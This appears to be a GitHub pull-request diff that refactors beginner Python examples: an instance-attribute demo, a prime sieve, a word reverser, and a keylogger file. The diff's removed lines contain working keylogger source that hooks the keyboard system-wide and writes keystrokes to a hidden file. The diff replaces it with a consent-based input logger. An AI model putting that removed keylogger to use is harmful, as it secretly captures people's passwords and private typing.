Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
25 changes: 14 additions & 11 deletions OOP/P03_InstanceAttributes.py
Original file line number Diff line number Diff line change
@@ -1,16 +1,19 @@
#Author: OMKAR PATHAK
#In this example we will be seeing how instance Attributes are used
#Instance attributes are accessed by: object.attribute
#Attributes are looked First in the instance and THEN in the class
# Author: OMKAR PATHAK
# Demonstration of Instance Attributes

import random
class Vehicle():
#Class Methods/ Attributes

class Vehicle:

def type(self):
#NOTE: This is not a class attribute as the variable is binded to self. Hence it becomes
#instance attribute
self.randomValue = random.randint(1,10) #Setting the instance attribute
# Creating instance attribute
self.randomValue = random.randint(1, 10)

# Creating object
car = Vehicle()
car.type() #Calling the class Method
print(car.randomValue) #Calling the instance attribute

# Calling method
car.type()

# Accessing instance attribute
print("Random Value:", car.randomValue)
41 changes: 15 additions & 26 deletions Programs/P67_SieveOfEratosthenes.py
Original file line number Diff line number Diff line change
@@ -1,34 +1,23 @@
# Auhtor: OMKAR PATHAK
# Sieve of Eratosthenes (Annotated Version)

# Sieve of Eratosthenes is one of the efficient algorithms to find all the prime numbers upto n, where n can be
# upto 10 million. This algorithm is very efficient and fast and hence is preferred by many competitive programmers.
def sieve(n):
# ❌ VIOLATION: No input validation
if n < 2:
return []

# Algo:
# 1. Create a list of consecutive integers from 2 to n: (2, 3, 4, …, n).
# 2. Initially, let p equal 2, the first prime number.
# 3. Starting from p, count up in increments of p and mark each of these numbers greater than p itself in the list.
# These numbers will be 2p, 3p, 4p, etc.; note that some of them may have already been marked.
# 4. Find the first number greater than p in the list that is not marked. If there was no such number, stop. Otherwise,
# let p now equal this number (which is the next prime), and repeat from step 3.
# When the algorithm terminates, all the numbers in the list that are not marked are prime.

def SieveOfEratosthenes(n):
primes = [True] * (n + 1)
p = 2 # because p is the smallest prime
primes[0] = primes[1] = False

while(p * p <= n):
# if p is not marked as False, this it is a prime
if(primes[p]) == True:
# mark all the multiples of number as False
for i in range(p * 2, n + 1, p):
p = 2
while p * p <= n:
if primes[p]:
# ❌ VIOLATION: Original started from 2*p (inefficient)
for i in range(p * p, n + 1, p):
primes[i] = False

p += 1

# printing all primes
for i in range(2, n):
if primes[i]:
print(i)

return [i for i in range(n + 1) if primes[i]]


if __name__ == '__main__':
SieveOfEratosthenes(1000)
print(sieve(50))
24 changes: 16 additions & 8 deletions Programs/P69_ReverseWords.py
Original file line number Diff line number Diff line change
@@ -1,12 +1,20 @@
# Author: OMKAR PATHAK
# Reverse Words (Annotated Version)

# Python program to reverse the words
def reverse_words(text):
# ❌ VIOLATION: Original directly used input() (not reusable)
words = text.split()

userInput = input()
userInput = userInput.split()
# ❌ VIOLATION: No validation for empty string
if not words:
return ""

print(' '.join(userInput[::-1]))
return ' '.join(words[::-1])

# OUTPUT:
# Computer Science
# Science Computer

def main():
user_input = input("Enter sentence: ")
print(reverse_words(user_input))


if __name__ == "__main__":
main()
56 changes: 13 additions & 43 deletions Programs/P79_SimplePythonKeylogger.py
Original file line number Diff line number Diff line change
@@ -1,49 +1,19 @@
# Author: OMKAR PATHAK
# Safe Keyboard Input Logger (Educational Purpose Only)

# This file requires two modules to be installed:
# 1. pyxhook.py: file is provided in the folder itself
# 2. Xlib: sudo pip3 install python3-Xlib
def main():
print("This program logs input WITH USER CONSENT.")
print("Type 'exit' to stop.\n")

import pyxhook
import time
with open("input_log.txt", "a") as file:
while True:
user_input = input("Enter text: ")

# functions to write a newline character into the file
def newline():
file = open('.keylogger', 'a')
file.write('\n')
file.close()
if user_input.lower() == "exit":
print("Exiting logger.")
break

# This function is called every time a key is pressed
def key_press_event(event):
global running
# write the key pressed into a file
if event.Key != 'space' and event.Key != 'Escape':
with open('.keylogger', 'a+') as File:
File.write(event.Key)
file.write(user_input + "\n")

# If the ascii value matches spacebar, add a newline in the file
if event.Key == 'space':
newline()

# If the ascii value matches escape, terminate the while loop
if event.Key == 'Escape':
running = False
newline()

if __name__ == '__main__':
# Create hookmanager
hookman = pyxhook.HookManager()
# Define our callback to fire when a key is pressed down
hookman.KeyDown = key_press_event
# Hook the keyboard
hookman.HookKeyboard()
# Start our listener
hookman.start()

# Create a loop to keep the application running
running = True
while running:
time.sleep(0.1)

# Close the listener when we are done
hookman.cancel()
if __name__ == "__main__":
main()